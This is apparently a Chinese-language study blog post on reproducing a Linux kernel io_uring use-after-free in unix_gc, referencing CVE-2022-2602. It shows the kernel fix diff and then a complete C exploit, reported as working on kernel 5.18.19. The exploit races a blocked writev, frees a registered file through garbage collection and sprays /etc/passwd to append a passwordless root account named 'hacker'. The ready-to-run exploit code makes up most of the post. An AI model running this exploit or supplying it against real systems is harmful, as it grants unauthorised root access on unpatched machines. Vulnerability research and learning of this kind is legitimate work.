前言
复现该漏洞只是为了学习相关知识,在这里仅仅做简单记录下 exp
,关于漏洞的详细内容请参考其他文章,最后在 v5.18.19
内核版本上复现成功,v6.0.2
复现失败
漏洞利用
diff --git a/include/linux/skbuff.h b/include/linux/skbuff.h
index 9fcf534f2d9272..7be5bb4c94b6d8 100644
--- a/include/linux/skbuff.h
+++ b/include/linux/skbuff.h
@@ -803,6 +803,7 @@ typedef unsigned char *sk_buff_data_t;
* @csum_level: indicates the number of consecutive checksums found in
* the packet minus one that have been verified as
* CHECKSUM_UNNECESSARY (max 3)
+ * @scm_io_uring: SKB holds io_uring registered files
* @dst_pending_confirm: need to confirm neighbour
* @decrypted: Decrypted SKB
* @slow_gro: state present at GRO time, slower prepare step required
@@ -982,6 +983,7 @@ struct sk_buff {
#endif
__u8 slow_gro:1;
__u8 csum_not_inet:1;
+ __u8 scm_io_uring:1;
#ifdef CONFIG_NET_SCHED
__u16 tc_index; /* traffic control index */
diff --git a/io_uring/rsrc.c b/io_uring/rsrc.c
index 6f88ded0e7e564..012fdb04ec238e 100644
--- a/io_uring/rsrc.c
+++ b/io_uring/rsrc.c
@@ -855,6 +855,7 @@ int __io_scm_file_account(struct io_ring_ctx *ctx, struct file *file)
UNIXCB(skb).fp = fpl;
skb->sk = sk;
+ skb->scm_io_uring = 1;
skb->destructor = unix_destruct_scm;
refcount_add(skb->truesize, &sk->sk_wmem_alloc);
}
diff --git a/net/unix/garbage.c b/net/unix/garbage.c
index d45d5366115a76..dc276354039321 100644
--- a/net/unix/garbage.c
+++ b/net/unix/garbage.c
@@ -204,6 +204,7 @@ void wait_for_unix_gc(void)
/* The external entry point: unix_gc() */
void unix_gc(void)
{
+ struct sk_buff *next_skb, *skb;
struct unix_sock *u;
struct unix_sock *next;
struct sk_buff_head hitlist;
@@ -297,11 +298,30 @@ void unix_gc(void)
spin_unlock(&unix_gc_lock);
+ /* We need io_uring to clean its registered files, ignore all io_uring
+ * originated skbs. It's fine as io_uring doesn't keep references to
+ * other io_uring instances and so killing all other files in the cycle
+ * will put all io_uring references forcing it to go through normal
+ * release.path eventually putting registered files.
+ */
+ skb_queue_walk_safe(&hitlist, skb, next_skb) {
+ if (skb->scm_io_uring) {
+ __skb_unlink(skb, &hitlist);
+ skb_queue_tail(&skb->sk->sk_receive_queue, skb);
+ }
+ }
+
/* Here we are. Hitlist is filled. Die. */
__skb_queue_purge(&hitlist);
spin_lock(&unix_gc_lock);
+ /* There could be io_uring registered files, just push them back to
+ * the inflight list
+ */
+ list_for_each_entry_safe(u, next, &gc_candidates, link)
+ list_move_tail(&u->link, &gc_inflight_list);
+
/* All candidates should have been detached by now. */
BUG_ON(!list_empty(&gc_candidates));
unix_gc
错误释放 io_uring
注册的文件导致的 file UAF
exp
如下:
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <semaphore.h>
#include <poll.h>
#include <sched.h>
#include <liburing.h>
#include <assert.h>
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
void prepare() {
system("touch /tmp/dummy");
system("chmod 777 /tmp/dummy");
}
static int run_wait_lock = 0;
void* slow_write() {
#define PAGE_SIZE 0x1000
#define WRITE_PAGE_NUMS 0x3333
puts("[+] Start in slow_write");
int fd = open("/tmp/dummy", O_RDWR);
if (fd < 0) err_exit("FAILED to open /tmp/dummy");
uint64_t start_addr = 0x30000000;
uint64_t write_len = (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;
uint64_t i;
for (i = 0; i < WRITE_PAGE_NUMS; i++) {
void *addr = mmap((void*)(start_addr+i*PAGE_SIZE), PAGE_SIZE,
PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
if (addr == MAP_FAILED) err_exit("mmap");
}
assert(i > 0);
struct iovec iovs[20];
for (i = 0; i < 20; i++) {
iovs[i].iov_base = (void*)start_addr;
iovs[i].iov_len = (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;
}
puts("[+] Occupying inode lock");
run_wait_lock = 1;
if (writev(fd, iovs, 20) < 0) {
err_exit("write");
}
close(fd);
puts("[+] End in slow_write");
puts("[+] Waiting for 10 senonds");
sleep(10);
exit(0);
}
void sendfd(int sfd, int fd) {
struct msghdr msg;
char control_buf[4096] = { 0 };
struct cmsghdr* cmsg;
int fds[1] = { fd };
memset(&msg, 0, sizeof(msg));
msg.msg_control = control_buf;
msg.msg_controllen = sizeof(control_buf);
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(fds));
memcpy(CMSG_DATA(cmsg), &fds, sizeof(fds));
msg.msg_controllen = CMSG_SPACE(sizeof(fds));
sendmsg(sfd, &msg, 0);
}
int main() {
int s[2];
int rfd[2];
int io_uring_fd;
pthread_t thr1;
struct io_uring_sqe* sqe;
struct io_uring ring;
struct stat st;
struct iovec iov[1];
int fds[300];
int i = 0;
bind_core(0);
prepare();
for (i = 0; i < 300; i++) {
if ((fds[i] = open("/etc/passwd", O_RDONLY)) < 0)
err_exit("open /etc/passwd");
}
stat("/etc/passwd", &st);
int size = 0;
int orig_size = st.st_size;
/* hacker::0:0:/root:/root:/bin/sh\n */
iov[0].iov_base = "hacker::0:0:/root:/root:/bin/sh\n";
iov[0].iov_len = strlen(iov[0].iov_base);
// s[0] ref_count = 1
// s[1] ref_count = 1
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, s) < 0) err_exit("sockerpair");
// s[0] ref_count = 1
// s[1] ref_count = 1
// io_uring_fd ref_count = 1
// rfd[1] ref_count = 1
io_uring_queue_init(32, &ring, IORING_SETUP_SQPOLL);
sqe = io_uring_get_sqe(&ring);
printf("[+] sqe: %p\n", sqe);
io_uring_fd = ring.ring_fd;
printf("[+] io_uring_fd: %d\n", io_uring_fd);
if (io_uring_fd < 0) err_exit("io_uring_queue_init");
rfd[0] = s[1];
rfd[1] = open("/tmp/dummy", O_RDWR|O_APPEND);
// s[0] ref_count = 1
// s[1] ref_count = 2 inflight = 1
// io_uring_fd ref_count = 1
// rfd[1] ref_count = 2
// io_uring.sk_recvive_queue -> rfd {s[1], rfd[1]}
io_uring_register_files(&ring, rfd, 2);
sqe->opcode = IORING_OP_WRITEV;
sqe->fd = 1;
sqe->addr = (long long)iov;
sqe->len = 1;
sqe->flags = IOSQE_FIXED_FILE;
// s[0] ref_count = 1
// s[1] ref_count = 2 inflight = 1
// io_uring_fd ref_count = 1
// rfd[1] ref_count = 1
// io_uring.sk_recvive_queue -> rfd {s[1], rfd[1]}
close(rfd[1]);
// s[0] ref_count = 1
// s[1] ref_count = 2 inflight = 1
// io_uring_fd ref_count = 2 inflight = 1
// rfd[1] ref_count = 1
// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}
// s[1].sk_receive_queue -> io_uring_fd
sendfd(s[0], io_uring_fd);
// s[0] ref_count = 0 ==> free
// s[1] ref_count = 1 inflight = 1
// io_uring_fd ref_count = 2 inflight = 1
// rfd[1] ref_count = 1
// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}
// s[1].sk_receive_queue -> io_uring_fd
close(s[0]);
close(s[1]);
// 占据 inode 锁
pthread_create(&thr1, NULL, slow_write, NULL);
// writev 等待 inode 锁
while (!run_wait_lock) {}
sleep(2);
io_uring_submit(&ring);
// s[0] ref_count = 0 ==> free
// s[1] ref_count = 1 inflight = 1
// io_uring_fd ref_count = 1 inflight = 1
// rfd[1] ref_count = 1
// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}
// s[1].sk_receive_queue -> io_uring_fd
io_uring_queue_exit(&ring);
puts("[+] Triggering unix_gc");
// 触发 unix_gc
// s[0] ref_count = 0 ==> free
// s[1] ref_count = 1 inflight = 1
// io_uring_fd ref_count = 1 inflight = 1
// rfd[1] ref_count = 1
// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}
// s[1].sk_receive_queue -> io_uring_fd
// 此时 rfd[1] 被错误的释放 ==> rfd[1]
sleep(2);
for (i = 0; i < 150; i++) {
close(fds[i+2]);
}
close(socket(AF_UNIX, SOCK_DGRAM, 0));
puts("[+] unix_gc done");
puts("[+] Spray /etc/passwd file");
// 打开大量 /etc/passwd 去占据 uaf_file
for (i = 0; i < 700; i++) {
if (open("/etc/passwd", O_RDONLY) < 0) {
printf("[X] Error at %d\n", i);
err_exit("FAILED to spray file");
}
}
// 等待 writev 获取 inode 锁,从而写 /etc/passwd
// 当 /etc/passwd 文件大小发送变化时,说明成功向 /etc/passwd 写入恶意数据
puts("[+] Waiting for overwriting /etc/passwd");
while (orig_size == st.st_size) {
stat("/etc/passwd", &st);
size = st.st_size;
sleep(1);
}
puts("[+] su hacker to get root");
return 0;
}
效果如下:
参考文章
[漏洞分析] CVE-2022-2602 io_uring UAF内核提权详细解析
【kernel exploit】CVE-2022-2602垃圾回收错误释放iouring的file导致UAF